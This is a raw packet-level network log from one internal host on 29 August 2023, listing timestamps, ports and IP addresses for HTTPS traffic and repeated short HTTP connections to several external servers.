Aug 29, 2023 22:43:03.464284897 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.464334965 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.464534044 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.464556932 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.464601994 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.464700937 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.464776039 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.464812040 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.464998007 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.465024948 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.465164900 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.465261936 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.465415001 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.465454102 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.465667009 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.465708017 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.465754986 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.465815067 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.465919018 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.465943098 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.466087103 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.466252089 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.466418028 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.466450930 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.466686964 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.466687918 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.466723919 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.466845036 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.466845036 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.466897964 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.467063904 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.467101097 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.467339039 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.467367887 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.467392921 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.467510939 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.467511892 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.467566967 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.467715025 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.467749119 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.467930079 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468002081 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468060970 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468085051 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468091011 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468225956 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468225956 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468281984 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468430042 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468471050 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468666077 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468693018 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468740940 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.468821049 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468919039 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.468959093 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469099998 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469105959 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469136000 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469249964 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469249964 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469301939 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469444036 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469481945 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469685078 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469691992 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469731092 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.469821930 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469822884 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.469873905 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470046997 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470067978 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470113039 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470211029 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470304012 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470355034 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470391035 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470458031 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470549107 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470577002 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470608950 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.470746994 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470746994 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.470797062 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471015930 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471056938 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471180916 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471196890 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471226931 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471379042 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471404076 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471434116 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471520901 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471616983 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471689939 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471713066 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471781015 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471811056 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471872091 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.471899033 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.471981049 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472016096 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472079992 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472090006 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472110033 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472157955 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472235918 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472263098 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472460985 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472470999 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472498894 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472692013 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472697973 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472723961 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.472862005 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472862005 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.472894907 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473021030 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473032951 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473083019 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473172903 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473172903 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473212957 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473216057 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473403931 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473433018 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473462105 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473541021 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473550081 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473632097 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473651886 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473769903 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473820925 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473839045 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473906040 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.473964930 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473964930 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.473989010 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.474093914 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:44:21.153565884 CEST	49984	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:44:21.312609911 CEST	80	49984	107.148.17.67	192.168.11.20
Aug 29, 2023 22:44:21.312954903 CEST	49984	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:44:21.313041925 CEST	49984	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:44:21.471909046 CEST	80	49984	107.148.17.67	192.168.11.20
Aug 29, 2023 22:44:21.637180090 CEST	80	49984	107.148.17.67	192.168.11.20
Aug 29, 2023 22:44:21.637252092 CEST	80	49984	107.148.17.67	192.168.11.20
Aug 29, 2023 22:44:21.637305975 CEST	80	49984	107.148.17.67	192.168.11.20
Aug 29, 2023 22:44:21.637672901 CEST	49984	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:44:21.637729883 CEST	49984	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:44:21.796732903 CEST	80	49984	107.148.17.67	192.168.11.20
Aug 29, 2023 22:44:36.701034069 CEST	49985	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:36.854294062 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:36.854530096 CEST	49985	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:36.854685068 CEST	49985	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:37.007575035 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.009898901 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.009994984 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.010056019 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.010109901 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.010152102 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.010190010 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.010236025 CEST	80	49985	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:37.010505915 CEST	49985	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:38.365900993 CEST	49985	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.381542921 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.530363083 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.530654907 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.530811071 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.679275990 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.682698011 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.682804108 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.682867050 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.682951927 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.683053017 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.683065891 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.683131933 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.683135033 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.683182001 CEST	80	49986	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:39.683243036 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:39.683386087 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:41.037189007 CEST	49986	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.052788973 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.201451063 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.201716900 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.202291965 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.202373981 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.351051092 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.351109028 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.351150990 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.351239920 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.351322889 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.351419926 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.351491928 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.351578951 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.351686954 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.351830006 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.351991892 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.500179052 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500238895 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500282049 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500319958 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500453949 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.500570059 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.500683069 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500739098 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500952959 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.500997066 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.501133919 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.501300097 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.501466036 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.649622917 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.649679899 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.649724007 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.649763107 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.649801970 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.650032043 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.650121927 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731405973 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731475115 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731532097 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731586933 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731628895 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731672049 CEST	80	49987	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:42.731765032 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.731900930 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:42.731900930 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:43.708414078 CEST	49987	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:44.724313974 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:44.874099970 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:44.874408960 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:44.874481916 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:45.023111105 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024257898 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024331093 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024390936 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024460077 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024503946 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:45.024516106 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024574041 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024631977 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024631977 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:45.024687052 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024734020 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:45.024799109 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:45.025021076 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:45.025074005 CEST	49988	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:44:45.173613071 CEST	80	49988	96.44.182.131	192.168.11.20
Aug 29, 2023 22:44:50.064591885 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.238816023 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.239073038 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.239156008 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.413644075 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.549679995 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.549799919 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.549891949 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.549968004 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550024033 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550080061 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550092936 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.550153017 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.550174952 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550239086 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550292015 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550327063 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.550348043 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.550479889 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.550595045 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.724311113 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724334002 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724347115 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724385977 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724495888 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724623919 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724713087 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.724744081 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724760056 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724824905 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.724828005 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.724944115 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.724950075 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725202084 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725266933 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725275993 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.725444078 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.725594997 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725647926 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725719929 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725778103 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725792885 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725806952 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.725850105 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.725981951 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:50.725990057 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.726187944 CEST	80	49989	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:50.726346016 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:51.753566027 CEST	49989	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:52.770488024 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:52.945066929 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:52.945312023 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:52.945442915 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.120157957 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.213855982 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.213928938 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214027882 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214107037 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214163065 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214173079 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.214221001 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214369059 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.214425087 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.214762926 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214833975 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214889050 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.214942932 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.215048075 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.215111971 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.388720036 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.388843060 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.388922930 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.388978958 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389033079 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389039040 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.389089108 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389143944 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389151096 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.389297962 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389302015 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.389355898 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389410019 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389520884 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.389673948 CEST	49990	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:44:53.389759064 CEST	80	49990	162.0.239.145	192.168.11.20
Aug 29, 2023 22:44:53.389858007 CEST	80	49990	162.0.239.145	192.168.11.20
